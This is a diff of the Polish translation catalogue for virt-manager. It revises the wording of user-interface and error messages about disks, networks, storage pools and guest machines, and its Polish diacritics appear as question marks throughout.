-msgstr "Dysk \"%s\" jest ju? u?ywany przez innego go?cia!"
+msgstr "Dysk \"%s\" jest ju? u?ywany przez innego go?cia."
 
 #: ../src/virtManager/addhardware.py:1102 ../src/virtManager/create.py:1313
 msgid "Do you really want to use the disk?"
-msgstr "Na pewno chcesz u?y? dysku?"
+msgstr "Na pewno u?y? dysku?"
 
 #: ../src/virtManager/addhardware.py:1109
 msgid "Virtual Network Required"
@@ -481,7 +481,7 @@
 
 #: ../src/virtManager/addhardware.py:1110
 msgid "You must select one of the virtual networks."
-msgstr "Musisz wybra? jedn? z sieci wirtualnych."
+msgstr "Nale?y wybra? jedn? z sieci wirtualnych."
 
 #: ../src/virtManager/addhardware.py:1113
 msgid "Physical Device Required"
@@ -489,7 +489,7 @@
 
 #: ../src/virtManager/addhardware.py:1114
 msgid "You must select a physical device."
-msgstr "Musisz wybra? urz?dzenie fizyczne."
+msgstr "Nale?y wybra? urz?dzenie fizyczne."
 
 #: ../src/virtManager/addhardware.py:1120
 #: ../src/virtManager/addhardware.py:1126
@@ -498,7 +498,7 @@
 
 #: ../src/virtManager/addhardware.py:1121
 msgid "No MAC address was entered. Please enter a valid MAC address."
-msgstr "Nie podano adresu MAC. Podaj prawid?owy adres MAC."
+msgstr "Nie podano adresu MAC. Prosz? poda? prawid?owy adres MAC."
 
 #: ../src/virtManager/addhardware.py:1139
 msgid "Unsupported networking type"
@@ -515,11 +515,11 @@
 
 #: ../src/virtManager/addhardware.py:1152
 msgid "Are you sure you want to use this address?"
-msgstr "Na pewno chcesz u?y? tego adresu?"
+msgstr "Na pewno u?y? tego adresu?"
 
 #: ../src/virtManager/addhardware.py:1167
 msgid "Graphics device parameter error"
-msgstr "B??d parametru urz?dzenia grafiki"
+msgstr "B??d parametru urz?dzenia graficznego"
 
 #: ../src/virtManager/addhardware.py:1174
 msgid "Sound device parameter error"
@@ -535,7 +535,7 @@
 
 #: ../src/virtManager/addhardware.py:1189
 msgid "Host device parameter error"
-msgstr "B??d parametru urz?dzenia hosta"
+msgstr "B??d parametru urz?dzenia gospodarza"
 
 #: ../src/virtManager/addhardware.py:1231
 #, python-format
@@ -552,7 +552,7 @@
 
 #: ../src/virtManager/addhardware.py:1265 ../src/virtManager/create.py:671
 msgid "Not bridged"
-msgstr "Nie mostkowane"
+msgstr "Bez mostku"
 
 #. [xml value, label]
 #: ../src/virtManager/addhardware.py:1272
@@ -580,7 +580,7 @@
 
 #: ../src/virtManager/asyncjob.py:42 ../src/vmm-progress.glade.h:1
 msgid "Operation in progress"
-msgstr "Operacja jest wykonywana"
+msgstr "Dzia?anie jest wykonywane"
 
 #: ../src/virtManager/asyncjob.py:89 ../src/virtManager/asyncjob.py:102
 #: ../src/vmm-progress.glade.h:3
@@ -589,7 +589,7 @@
 
 #: ../src/virtManager/asyncjob.py:117
 msgid "Completed"
-msgstr "Zako?czono"
+msgstr "Uko?czono"
 
 #: ../src/virtManager/choosecd.py:99 ../src/virtManager/choosecd.py:109
 msgid "Invalid Media Path"
@@ -601,7 +601,7 @@
 
 #: ../src/virtManager/choosecd.py:128 ../src/virtManager/create.py:1019
 msgid "Locate ISO Image"
-msgstr "Ustal po?o?enie obrazu ISO"
+msgstr "Ustalenie po?o?enia obrazu ISO"
 
 #: ../src/virtManager/clone.py:216 ../src/virtManager/clone.py:437
 msgid "Details..."
@@ -639,7 +639,7 @@
 #: ../src/virtManager/clone.py:433
 #, python-format
 msgid "Share disk with %s"
-msgstr "Wsp??dziel plik z %s"
+msgstr "Wsp??dziel dysk z %s"
 
 #: ../src/virtManager/clone.py:445
 msgid "Storage cannot be shared or cloned."
@@ -663,13 +663,13 @@
 "Using an existing image will overwrite the path during the clone process. "
 "Are you sure you want to use this path?"
 msgstr ""
-"U?ycie istniej?cego obrazu zast?pi ?cie?k? podczas procesu klonowania. Czy "
-"jeste? pewny, ?e chcesz u?y? tej ?cie?ki?"
+"U?ycie istniej?cego obrazu zast?pi ?cie?k? podczas procesu klonowania. Na "
+"u?y? tej ?cie?ki?"
 
 #: ../src/virtManager/clone.py:639
 #, python-format
 msgid "Error changing storage path: %s"
-msgstr "B??d podczas ?cie?ki do pami?ci masowej: %s"
+msgstr "B??d podczas zmieniania ?cie?ki do pami?ci masowej: %s"
 
 #: ../src/virtManager/clone.py:690
 msgid "Skipping disks may cause data to be overwritten."
@@ -686,7 +686,7 @@
 "Nast?puj?ce urz?dzenia dysk?w nie zostan? sklonowane:\n"
 "\n"
 "%s\n"
-"Uruchomienie nowego go?cia mog?oby zast?pi? dane w tych obrazach dysk?w."
+"Uruchomienie nowego go?cia mo?e zast?pi? dane w tych obrazach dysk?w."
 
 #: ../src/virtManager/clone.py:711 ../src/virtManager/createpool.py:264
 #: ../src/virtManager/createvol.py:147
@@ -701,7 +701,7 @@
 
 #: ../src/virtManager/clone.py:722 ../src/virtManager/delete.py:142
 msgid " and selected storage (this may take a while)"
-msgstr " i wybranej pami?ci masowej (mo?e to troch? zaj??)"
+msgstr " i wybranej pami?ci masowej (mo?e to chwil? zaj??)"
 
 #: ../src/virtManager/clone.py:756
 #, python-format
@@ -718,11 +718,11 @@
 
 #: ../src/virtManager/clone.py:797
 msgid "Cannot clone unmanaged remote storage."
-msgstr "Nie mo?na sklonowa? niezarz?dzanej zdanej pami?ci masowej."
+msgstr "Nie mo?na sklonowa? niezarz?dzanej zdalnej pami?ci masowej."
 
 #: ../src/virtManager/clone.py:799 ../src/virtManager/delete.py:342
 msgid "No write access to parent directory."
-msgstr "Brak uprawnienia do zapisu do folder nadrz?dnego."
+msgstr "Brak uprawnienia do zapisu do katalogu nadrz?dnego."
 
 #: ../src/virtManager/clone.py:801 ../src/virtManager/delete.py:340
 msgid "Path does not exist."
@@ -750,30 +750,30 @@
 msgid "Name"
 msgstr "Nazwa"
 
-#: ../src/virtManager/connection.py:1119
+#: ../src/virtManager/connection.py:1121
 msgid "Disconnected"
 msgstr "Roz??czono"
 
-#: ../src/virtManager/connection.py:1121
+#: ../src/virtManager/connection.py:1123
 msgid "Connecting"
 msgstr "??czenie"
 
-#: ../src/virtManager/connection.py:1124
+#: ../src/virtManager/connection.py:1126
 msgid "Active (RO)"
-msgstr "Aktywuj (tylko do odczytu)"
+msgstr "Aktywacja (tylko do odczytu)"
 
-#: ../src/virtManager/connection.py:1126 ../src/virtManager/host.py:327
+#: ../src/virtManager/connection.py:1128 ../src/virtManager/host.py:327
 #: ../src/virtManager/host.py:555 ../src/vmm-host.glade.h:5
 msgid "Active"
-msgstr "Aktywuj"
+msgstr "Aktywacja"
 
-#: ../src/virtManager/connection.py:1128 ../src/virtManager/create.py:634
+#: ../src/virtManager/connection.py:1130 ../src/virtManager/create.py:634
 #: ../src/virtManager/host.py:332 ../src/virtManager/host.py:375
 #: ../src/virtManager/host.py:555 ../src/virtManager/host.py:587
 msgid "Inactive"
-msgstr "Deaktywuj"
+msgstr "Deaktywacja"
 
-#: ../src/virtManager/connection.py:1130 ../src/virtManager/create.py:1605
+#: ../src/virtManager/connection.py:1132 ../src/virtManager/create.py:1605
 #: ../src/virtManager/create.py:1606 ../src/virtManager/create.py:1608
 #: ../src/virtManager/details.py:934 ../src/virtManager/details.py:1063
 msgid "Unknown"
@@ -794,9 +794,9 @@
 "Pe?ne przydzielenie pami?ci masowej zajmie wi?cej czasu, ale faza instalacji "
 "systemu operacyjnego b?dzie kr?tsza. \n"
 "\n"
-"Pomini?cie przydzielenie spowoduje tak?e problemy z przestrzeni? na maszynie "
-"hosta, je?li maksymalny rozmiar obrazu przekracza dost?pn? przestrze? "
-"pami?ci masowej."
+"Pomini?cie przydzielenie spowoduje tak?e problemy z przestrzeni? na "
+"komputerze gospodarza, je?li maksymalny rozmiar obrazu przekracza dost?pn? "
+"przestrze? pami?ci masowej."
 
 #: ../src/virtManager/create.py:297
 msgid "No active connection to install on."
@@ -830,7 +830,7 @@
 #: ../src/virtManager/create.py:426
 #, python-format
 msgid "Up to %(maxmem)s available on the host"
-msgstr "Do %(maxmem)s dost?pnej na ho?cie"
+msgstr "Do %(maxmem)s dost?pnej na gospodarzu"
 
 #: ../src/virtManager/create.py:440
 #, python-format
@@ -871,7 +871,7 @@
 #: ../src/virtManager/create.py:676
 #, python-format
 msgid "Host device %s %s"
-msgstr "Urz?dzenie hosta %s %s"
+msgstr "Urz?dzenie gospodarza %s %s"
 
 #: ../src/virtManager/create.py:688
 msgid "No networking."
@@ -879,7 +879,7 @@
 
 #: ../src/virtManager/create.py:733
 msgid "Local CDROM/ISO"
-msgstr "Lokalny CD-ROM/ISO"
+msgstr "Lokalna p?yta CD-ROM/plik ISO"
 
 #: ../src/virtManager/create.py:735
 msgid "URL Install Tree"
@@ -895,7 +895,7 @@
 
 #: ../src/virtManager/create.py:1028
 msgid "Locate existing storage"
-msgstr "Ustal po?o?enie istniej?cej pami?ci masowej"
+msgstr "Ustalenie po?o?enia istniej?cej pami?ci masowej"
 
 #: ../src/virtManager/create.py:1099
 #, python-format
@@ -955,8 +955,7 @@
 #, python-format
 msgid ""
 "Virtual Network '%s' is not active. Would you like to start the network now?"
-msgstr ""
-"Sie? wirtualna \"%s\" jest nieaktywna. Czy chcesz teraz uruchomi? sie??"
+msgstr "Sie? wirtualna \"%s\" jest nieaktywna. Uruchomi? sie? teraz?"
 
 #: ../src/virtManager/create.py:1341
 #, python-format
@@ -979,7 +978,7 @@
 #: ../src/virtManager/create.py:1385
 #, python-format
 msgid "%s Are you sure you want to use this address?"
-msgstr "%s Na pewno chcesz u?y? tego adresu?"
+msgstr "%s Na pewno u?y? tego adresu?"
 
 #: ../src/virtManager/create.py:1428
 #, python-format
@@ -988,7 +987,7 @@
 
 #: ../src/virtManager/create.py:1436
 msgid "Error setting up graphics device:"
-msgstr "B??d podczas ustawiania urz?dzenia grafiki:"
+msgstr "B??d podczas ustawiania urz?dzenia graficznego:"
 
 #: ../src/virtManager/create.py:1446
 msgid "Error setting up sound device:"
@@ -1041,7 +1040,7 @@
 
 #: ../src/virtManager/createnet.py:166
 msgid "Reserved"
-msgstr "Zarezerwowane"
+msgstr "Zastrze?one"
 
 #: ../src/virtManager/createnet.py:168
 msgid "Other"
@@ -1081,7 +1080,7 @@
 
 #: ../src/virtManager/createnet.py:343
 msgid "Network name may contain alphanumeric and '_' characters only"
-msgstr "Nazwa sieci mo?e zawiera? tylko znaki alfanumeryczne oraz \"_\""
+msgstr "Nazwa sieci mo?e zawiera? tylko znaki alfanumeryczne i \"_\""
 
 #: ../src/virtManager/createnet.py:349 ../src/virtManager/createnet.py:353
 #: ../src/virtManager/createnet.py:357
@@ -1102,7 +1101,7 @@
 
 #: ../src/virtManager/createnet.py:361
 msgid "Check Network Address"
-msgstr "Sprawd? adres sieci"
+msgstr "Sprawdzenie adresu sieci"
 
 #: ../src/virtManager/createnet.py:362
 msgid ""
@@ -1137,19 +1136,19 @@
 
 #: ../src/virtManager/createnet.py:387
 msgid "Invalid forwarding mode"
-msgstr "Nieprawid?owy tryb przekazywania"
+msgstr "Nieprawid?owy tryb przekierowania"
 
 #: ../src/virtManager/createnet.py:388
 msgid "Please select where the traffic should be forwarded"
-msgstr "Wybierz, gdzie ruch powinien by? przekazywany"
+msgstr "Prosz? wybra?, gdzie ruch powinien by? przekierowywany"
 
 #: ../src/virtManager/createpool.py:241
 msgid "Choose source path"
-msgstr "Wybierz ?cie?k? ?r?d?ow?"
+msgstr "Wyb?r ?cie?ki ?r?d?owej"
 
 #: ../src/virtManager/createpool.py:247
 msgid "Choose target directory"
-msgstr "Wybierz folder docelowy"
+msgstr "Wyb?r katalogu docelowego"
 
 #: ../src/virtManager/createpool.py:278
 msgid "Creating storage pool..."
@@ -1173,16 +1172,16 @@
 "Building a pool of this type will format the source device. Are you sure you "
 "want to 'build' this pool?"
 msgstr ""
-"Budowanie puli tego typu sformatuje urz?dzenie ?r?d?owe. Czy jeste? pewny, "
-"?e chcesz \"zbudowa?\" t? pul??"
+"Budowanie puli tego typu sformatuje urz?dzenie ?r?d?owe. Na pewno "
+"\"zbudowa?\" t? pul??"
 
 #: ../src/virtManager/createpool.py:375
 msgid "Format the source device."
-msgstr "Sformatuj urz?dzenie ?r?d?owe."
+msgstr "Sformatowanie urz?dzenia ?r?d?owego."
 
 #: ../src/virtManager/createpool.py:377
 msgid "Create a logical volume group from the source device."
-msgstr "Utw?rz grup? wolumin?w logicznych z urz?dzenia ?r?d?owego."
+msgstr "Utworzenie grupy wolumin?w logicznych z urz?dzenia ?r?d?owego."
 
 #: ../src/virtManager/createvol.py:158
 msgid "Creating storage volume..."
@@ -1281,9 +1280,9 @@
 "with the specified label. The administrator is responsible for making sure "
 "the images are labeled corectly on disk."
 msgstr ""
-"Statyczny tryb bezpiecze?stwa SELinuksa przekazuje libvirt, aby zawsze "
-"uruchamia? proces go?cia za pomoc? podanej etykiety. Administrator jest "
-"odpowiedzialny za upewnienie si?, ?e obrazy na dysku maj? odpowiednie "
+"Statyczny tryb bezpiecze?stwa SELinuksa przekazuje bibliotece libvirt, aby "
+"zawsze uruchamia? proces go?cia za pomoc? podanej etykiety. Administrator "
+"jest odpowiedzialny za upewnienie si?, ?e obrazy na dysku maj? odpowiednie "
 "etykiety."
 
 #: ../src/virtManager/details.py:175
@@ -1292,13 +1291,13 @@
 "unique label for the guest process and guest image, ensuring total isolation "
 "of the guest. (Default)"
 msgstr ""
-"Dynamiczny tryb bezpiecze?stwa SELinuksa przekazuje libvirt, aby "
+"Dynamiczny tryb bezpiecze?stwa SELinuksa przekazuje bibliotece libvirt, aby "
 "automatycznie wybiera?o unikaln? etykiet? dla procesu i obrazu go?cia, "
-"zapewniaj?c ca?kowite odizolowanie go?cia (domy?lne)."
+"zapewniaj?c ca?kowite odizolowanie go?cia (domy?lnie)."
 
 #: ../src/virtManager/details.py:380
 msgid "Press Ctrl+Alt to release pointer."
-msgstr "Naci?nij Ctrl+Alt, aby uwolni? wska?nik."
+msgstr "Naci?ni?cie Ctrl+Alt uwalnia wska?nik."
 
 #: ../src/virtManager/details.py:388
 msgid "Pointer grabbed"
@@ -1310,15 +1309,15 @@
 "release the pointer, press the key pair: Ctrl+Alt"
 msgstr ""
 "Wska?nik myszy zosta? ograniczony do okna konsoli wirtualnej. Aby go "
-"uwolni?, naci?nij par? klawiszy Ctrl+Alt"
+"uwolni?, nale?y nacisn?? par? klawiszy Ctrl+Alt"
 
 #: ../src/virtManager/details.py:390
 msgid "Do not show this notification in the future."
-msgstr "Nie wy?wietlaj tego powiadomienia w przysz?o?ci."
+msgstr "Bez wy?wietlania tego powiadomienia w przysz?o?ci."
 
 #: ../src/virtManager/details.py:513
 msgid "No serial devices found"
-msgstr "Nie znaleziono urz?dze? szeregowych"
+msgstr "Nie odnaleziono urz?dze? szeregowych"
 
 #: ../src/virtManager/details.py:535
 msgid "Serial console not yet supported over remote connection."
@@ -1341,12 +1340,12 @@
 
 #: ../src/virtManager/details.py:561
 msgid "No graphics console found."
-msgstr "Nie znaleziono konsoli graficznej."
+msgstr "Nie odnaleziono konsoli graficznej."
 
 #: ../src/virtManager/details.py:566
 #, python-format
 msgid "Graphical Console %s"
-msgstr "Konsoli graficzna %s"
+msgstr "Konsola graficzna %s"
 
 #: ../src/virtManager/details.py:856
 msgid "paused"
@@ -1354,7 +1353,7 @@
 
 #: ../src/virtManager/details.py:869
 msgid "Console not available while paused"
-msgstr "Konsola nie jest dost?pna podczas pauzy"
+msgstr "Konsola nie jest dost?pna podczas wstrzymania"
 
 #: ../src/virtManager/details.py:1089
 msgid "Hypervisor Default"
@@ -1370,11 +1369,11 @@
 
 #: ../src/virtManager/details.py:1111
 msgid "Absolute Movement"
-msgstr "Ruch absolutny"
+msgstr "Ruch bezwzgl?dny"
 
 #: ../src/virtManager/details.py:1113
 msgid "Relative Movement"
-msgstr "Ruch relatywny"
+msgstr "Ruch wzgl?dny"
 
 #: ../src/virtManager/details.py:1139 ../src/vmm-add-hardware.glade.h:29
 msgid "Automatically allocated"
@@ -1396,8 +1395,8 @@
 msgid ""
 "TCP/IP error: VNC connection to hypervisor host got refused or disconnected!"
 msgstr ""
-"B??d TCP/IP: po??czenie VNC do hosta nadzorcy zosta?o odrzucone lub "
-"roz??czone!"
+"B??d TCP/IP: po??czenie VNC do gospodarza nadzorcy zosta?o odrzucone lub "
+"roz??czone."
 
 #: ../src/virtManager/details.py:1348
 msgid "Console not configured for guest"
@@ -1435,7 +1434,7 @@
 
 #: ../src/virtManager/details.py:1482
 msgid "Save Virtual Machine Screenshot"
-msgstr "Zapisz zrzut ekranu maszyny wirtualnej"
+msgstr "Zapisanie zrzutu ekranu maszyny wirtualnej"
 
 #: ../src/virtManager/details.py:1507
 #, python-format
@@ -1468,7 +1467,7 @@
 #: ../src/virtManager/details.py:1678 ../src/virtManager/details.py:1742
 msgid "These changes will take effect after the next guest reboot. "
 msgstr ""
-"Te zmiany zostan? uwzgl?dnione po nast?pnych ponownych uruchomieniu go?cia. "
+"Te zmiany zostan? uwzgl?dnione po nast?pnym ponownym uruchomieniu go?cia. "
 
 #: ../src/virtManager/details.py:1737
 #, python-format
@@ -1478,7 +1477,7 @@
 #: ../src/virtManager/details.py:1755
 #, python-format
 msgid "Error changing autostart value: %s"
-msgstr "B??d podczas zmienianie warto?ci automatycznego uruchamiania: %s"
+msgstr "B??d podczas zmieniania warto?ci automatycznego uruchamiania: %s"
 
 #: ../src/virtManager/details.py:1762
 #, python-format
@@ -1514,16 +1513,16 @@
 #: ../src/virtManager/details.py:2028
 #, python-format
 msgid "Error Removing CDROM: %s"
-msgstr "B??d podczas usuwania CD-ROM: %s"
+msgstr "B??d podczas usuwania p?yty CD-ROM: %s"
 
 #: ../src/virtManager/details.py:2045
 #, python-format
 msgid "Error Connecting CDROM: %s"
-msgstr "B??d podczas ??czenia do CD-ROM: %s"
+msgstr "B??d podczas ??czenia p?yty CD-ROM: %s"
 
 #: ../src/virtManager/details.py:2062
 msgid "Are you sure you want to remove this device?"
-msgstr "Na pewno chcesz usun?? to urz?dzenie?"
+msgstr "Na pewno usun?? te urz?dzenie?"
 
 #: ../src/virtManager/details.py:2064
 msgid ""
@@ -1532,7 +1531,7 @@
 "\n"
 "Warning: this will overwrite any other changes that require a VM reboot."
 msgstr ""
-"To urz?dzenie nie mo?e zosta? usuni?te z uruchomionej maszyny. Czy to "
+"Te urz?dzenie nie mo?e zosta? usuni?te z uruchomionej maszyny. Czy to "
 "urz?dzenie ma zosta? usuni?te po nast?pnym wy??czeniu maszyny wirtualnej?\n"
 "\n"
 "Ostrze?enie: zast?pi to wszystkie inne zmiany wymagaj?ce ponownego "
@@ -1575,104 +1574,104 @@
 #: ../src/virtManager/domain.py:1270
 #, python-format
 msgid "Didn't find the specified device to remove. Device was: %s %s"
-msgstr "Nie znaleziono podanego urz?dzenia do usuni?cia. Urz?dzenie to: %s %s"
+msgstr "Nie odnaleziono podanego urz?dzenia do usuni?cia. Urz?dzenie to: %s %s"
 
-#: ../src/virtManager/engine.py:338
+#: ../src/virtManager/engine.py:339
 #, python-format
 msgid "Error bringing up domain details: %s"
 msgstr "B??d podczas podnoszenia szczeg???w domeny: %s"
 
-#: ../src/virtManager/engine.py:444
+#: ../src/virtManager/engine.py:445
 #, python-format
 msgid "Unknown connection URI %s"
 msgstr "Nieznany adres URI po??czenia %s"
 
 #. FIXME: This should work with remote storage stuff
-#: ../src/virtManager/engine.py:452
+#: ../src/virtManager/engine.py:453
 msgid "Saving virtual machines over remote connections is not yet supported."
 msgstr ""
 "Zapisywanie maszyn wirtualnych przez zdalne po??czeniach nie jest jeszcze "
 "obs?ugiwane."
 
-#: ../src/virtManager/engine.py:467
+#: ../src/virtManager/engine.py:468
 msgid "Save Virtual Machine"
-msgstr "Zapisz maszyn? wirtualn?"
+msgstr "Zapisanie maszyny wirtualnej"
 
-#: ../src/virtManager/engine.py:476
+#: ../src/virtManager/engine.py:477
 msgid "Saving Virtual Machine"
 msgstr "Zapisywanie maszyny wirtualnej"
 
-#: ../src/virtManager/engine.py:481
+#: ../src/virtManager/engine.py:482
 #, python-format
 msgid "Error saving domain: %s"
 msgstr "B??d podczas zapisywania domeny: %s"
 
-#: ../src/virtManager/engine.py:500
+#: ../src/virtManager/engine.py:501
 #, python-format
 msgid "About to poweroff virtual machine %s"
 msgstr "Maszyna wirtualna %s zaraz zostanie wy??czona"
 
-#: ../src/virtManager/engine.py:502
+#: ../src/virtManager/engine.py:503
 msgid ""
 "This will immediately poweroff the VM without shutting down the OS and may "
 "cause data loss. Are you sure?"
 msgstr ""
 "To natychmiast wy??czy maszyn? wirtualn? bez wy??czania systemu operacyjnego "
-"i mo?e spowodowa? utrat? danych. Jeste? pewny?"
+"i mo?e spowodowa? utrat? danych. Na pewno?"
 
-#: ../src/virtManager/engine.py:512 ../src/virtManager/engine.py:592
-#: ../src/virtManager/engine.py:611
+#: ../src/virtManager/engine.py:513 ../src/virtManager/engine.py:593
+#: ../src/virtManager/engine.py:612
 #, python-format
 msgid "Error shutting down domain: %s"
 msgstr "B??d podczas wy??czania domeny: %s"
 
-#: ../src/virtManager/engine.py:534
+#: ../src/virtManager/engine.py:535
 #, python-format
 msgid "Error pausing domain: %s"
 msgstr "B??d podczas wstrzymywania domeny: %s"
 
-#: ../src/virtManager/engine.py:557
+#: ../src/virtManager/engine.py:558
 #, python-format
 msgid "Error unpausing domain: %s"
-msgstr "B??d podczas wychodzenia domeny ze wstrzymania: %s"
+msgstr "B??d podczas wznawiania domeny: %s"
 
-#: ../src/virtManager/engine.py:573
+#: ../src/virtManager/engine.py:574
 #, python-format
 msgid "Error starting domain: %s"
 msgstr "B??d podczas uruchamiania domeny: %s"
 
-#: ../src/virtManager/engine.py:619
+#: ../src/virtManager/engine.py:620
 #, python-format
 msgid "Are you sure you want to migrate %s from %s to %s?"
-msgstr "Na pewno chcesz migrowa? %s z %s do %s?"
+msgstr "Na pewno migrowa? %s z %s do %s?"
 
-#: ../src/virtManager/engine.py:627
+#: ../src/virtManager/engine.py:628
 #, python-format
 msgid "Migrating VM '%s'"
 msgstr "Migrowanie maszyny wirtualnej \"%s\""
 
-#: ../src/virtManager/engine.py:628
+#: ../src/virtManager/engine.py:629
 #, python-format
 msgid "Migrating VM '%s' from %s to %s. This may take awhile."
 msgstr "Migrowanie maszyny wirtualnej \"%s\" z %s do %s. To mo?e chwil? zaj??."
 
-#: ../src/virtManager/engine.py:685
+#: ../src/virtManager/engine.py:686
 msgid "No connections available."
 msgstr "Brak dost?pnych po??cze?."
 
-#: ../src/virtManager/engine.py:712
+#: ../src/virtManager/engine.py:713
 msgid "Connection hypervisors do not match."
-msgstr "Nadzorcy po??czenia si? nie zgadzaj?."
+msgstr "Nadzorcy po??czenia nie zgadzaj? si?."
 
-#: ../src/virtManager/engine.py:714
+#: ../src/virtManager/engine.py:715
 msgid "Connection is disconnected."
 msgstr "Po??czenie jest roz??czone."
 
-#: ../src/virtManager/engine.py:716
+#: ../src/virtManager/engine.py:717
 msgid "Cannot migrate to same connection."
 msgstr "Nie mo?na migrowa? do tego samego po??czenia."
 
-#: ../src/virtManager/engine.py:746
+#: ../src/virtManager/engine.py:747
 #, python-format
 msgid "Error setting clone parameters: %s"
 msgstr "B??d podczas ustawiania parametr?w klonowania: %s"
@@ -1692,7 +1691,7 @@
 
 #: ../src/virtManager/host.py:72
 msgid "Copy Volume Path"
-msgstr "Skopiuj ?cie?k? do woluminu"
+msgstr "Skopiowanie ?cie?ki do woluminu"
 
 #: ../src/virtManager/host.py:210
 #, python-format
@@ -1702,7 +1701,7 @@
 #: ../src/virtManager/host.py:234
 #, python-format
 msgid "Are you sure you want to permanently delete the network %s?"
-msgstr "Na pewno chcesz na trwa?e usun?? sie? %s?"
+msgstr "Na pewno trwale usun?? sie? %s?"
 
 #: ../src/virtManager/host.py:241
 #, python-format
@@ -1749,7 +1748,7 @@
 #: ../src/virtManager/host.py:436
 #, python-format
 msgid "Are you sure you want to permanently delete the pool %s?"
-msgstr "Na pewno chcesz na trwa?e usun?? pul? %s?"
+msgstr "Na pewno trwale usun?? pul? %s?"
 
 #: ../src/virtManager/host.py:443
 #, python-format
@@ -1759,7 +1758,7 @@
 #: ../src/virtManager/host.py:451
 #, python-format
 msgid "Are you sure you want to permanently delete the volume %s?"
-msgstr "Na pewno chcesz na trwa?e usun?? wolumin %s?"
+msgstr "Na pewno trwale usun?? wolumin %s?"
 
 #: ../src/virtManager/host.py:460
 #, python-format
@@ -1785,7 +1784,7 @@
 #: ../src/virtManager/manager.py:84 ../src/virtManager/manager.py:249
 #: ../src/virtManager/systray.py:136
 msgid "_Reboot"
-msgstr "_Uruchom ponownie"
+msgstr "U_ruchom ponownie"
 
 #: ../src/virtManager/manager.py:90 ../src/virtManager/manager.py:244
 #: ../src/virtManager/manager.py:255 ../src/virtManager/systray.py:143
@@ -1829,9 +1828,9 @@
 "A hypervisor connection can be manually added via \n"
 "File->Add Connection"
 msgstr ""
-"Nie mo?na rozprowadzi? domy?lnego po??czenia. Upewnij si?, ?e odpowiednie "
-"pakiety wirtualizacji s? zainstalowane (kvm, qemu itp.), a libvirtd zosta? "
-"ponownie uruchomiony, aby uwzgl?dni? zmiany.\n"
+"Nie mo?na rozprowadzi? domy?lnego po??czenia. Nale?y upewni? si?, ?e "
+"odpowiednie pakiety wirtualizacji s? zainstalowane (kvm, qemu itp.), a "
+"us?uga libvirtd zosta?a ponownie uruchomiona, aby uwzgl?dni? zmiany.\n"
 "\n"
 "Mo?na r?cznie doda? po??czenie do nadzorcy przez \n"
 "Plik->Dodaj po??czenie"
@@ -1852,7 +1851,7 @@
 
 #: ../src/virtManager/manager.py:436
 msgid "Restore Virtual Machine"
-msgstr "Przywr?? maszyn? wirtualn?"
+msgstr "Przywr?cenie maszyny wirtualnej"
 
 #: ../src/virtManager/manager.py:444
 #, python-format
@@ -1885,7 +1884,7 @@
 "\n"
 "%s\n"
 "\n"
-"Jeste? pewny?"
+"Na pewno?"
 
 #: ../src/virtManager/manager.py:840
 msgid "CPU usage"
@@ -1934,7 +1933,7 @@
 #. Arguments to pass to util.browse_local for local storage
 #: ../src/virtManager/storagebrowse.py:68
 msgid "Choose local storage"
-msgstr "Zmie? lokaln? pami?? masow?"
+msgstr "Zmiana lokalnej pami?ci masowej"
 
 #: ../src/virtManager/storagebrowse.py:115
 msgid "Size"
@@ -1988,7 +1987,7 @@
 
 #: ../src/vmm-add-hardware.glade.h:3
 msgid "<b>Physical Host Device</b>"
-msgstr "<b>Fizyczne urz?dzenie hosta</b>"
+msgstr "<b>Fizyczne urz?dzenie gospodarza</b>"
 
 #: ../src/vmm-add-hardware.glade.h:4 ../src/vmm-details.glade.h:11
 msgid "<b>Sound Device</b>"
@@ -2034,9 +2033,9 @@
 "connected via wireless, or dynamically configured with NetworkManager.</"
 "small>"
 msgstr ""
-"<small><b>Wskaz?wka:</b> wybierz t? opcj?, je?li host jest roz??czony, "
-"po??czony bezprzewodowo lub konfigurowany automatycznie za pomoc? mened?era "
-"sieci.</small>"
+"<small><b>Wskaz?wka:</b> nale?y wybra? t? opcj?, je?li gospodarz jest "
+"roz??czony, po??czony bezprzewodowo lub konfigurowany automatycznie za "
+"pomoc? Mened?era sieci.</small>"
 
 #: ../src/vmm-add-hardware.glade.h:13
 msgid ""
@@ -2044,9 +2043,9 @@
 "to wired ethernet, to gain the ability to migrate the virtual machine.</"
 "small>"
 msgstr ""
-"<small><b>Wskaz?wka:</b> wybierz t? opcj?, je?li host jest statycznie "
-"po??czony z przewodowym ethernetem, aby uzyska? mo?liwo?? migrowania maszyny "
-"wirtualnej.</small>"
+"<small><b>Wskaz?wka:</b> nale?y wybra? t? opcj?, je?li gospodarz jest "
+"statycznie po??czony z przewodow? sieci? Ethernet, aby uzyska? mo?liwo?? "
+"migrowania maszyny wirtualnej.</small>"
 
 #: ../src/vmm-add-hardware.glade.h:14
 msgid ""
@@ -2054,8 +2053,8 @@
 "virtual display to be embedded inside this application. It may also be used "
 "to allow access to the virtual display from a remote system.</small>"
 msgstr ""
-"<small><b>Wskaz?wka:</b> serwer VNC jest bardzo zalecany, poniewa? pozwala "
-"on oknie ekranowi wirtualnemu na zagnie?d?enie w tej aplikacji. Mo?e by? "
+"<small><b>Wskaz?wka:</b> serwer VNC jest bardzo zalecany, poniewa? umo?liwia "
+"oknie ekranowi wirtualnemu na zagnie?d?enie w tej aplikacji. Mo?e by? "
 "tak?e u?yty, aby umo?liwi? dost?p do ekranu wirtualnego ze zdalnego systemu."
 "</small>"
 
@@ -2076,10 +2075,10 @@
 "free space is not available on the host, this may result in data corruption "
 "on the virtual machine.</small>"
 msgstr ""
-"<small><b>Ostrze?enie:</b> je?li nie przydzielisz ca?ego dysku teraz, "
+"<small><b>Ostrze?enie:</b> je?li ca?y dysk nie zostanie teraz przydzielony, "
 "przestrze? b?dzie przydzielana w miar? potrzeb wtedy, gdy maszyna wirtualna "
 "b?dzie uruchomiona. Je?li wystarczaj?ca ilo?? wolnego miejsca nie b?dzie "
-"dost?pna na ho?cie, mo?e to spowodowa? uszkodzeniem danych na maszynie "
+"dost?pna na gospodarzu, mo?e to spowodowa? uszkodzeniem danych na maszynie "
 "wirtualnej.</small>"
 
 #: ../src/vmm-add-hardware.glade.h:17
@@ -2095,7 +2094,7 @@
 "<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Finish Adding "
 "Virtual Hardware</span>"
 msgstr ""
-"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Zako?czono "
+"<span weight=\"heavy\" size=\"xx-large\" foreground=\"#FFF\">Uko?czono "
 "dodawanie sprz?tu wirtualnego</span>"
 
 #: ../src/vmm-add-hardware.glade.h:19
@@ -2110,7 +2109,7 @@
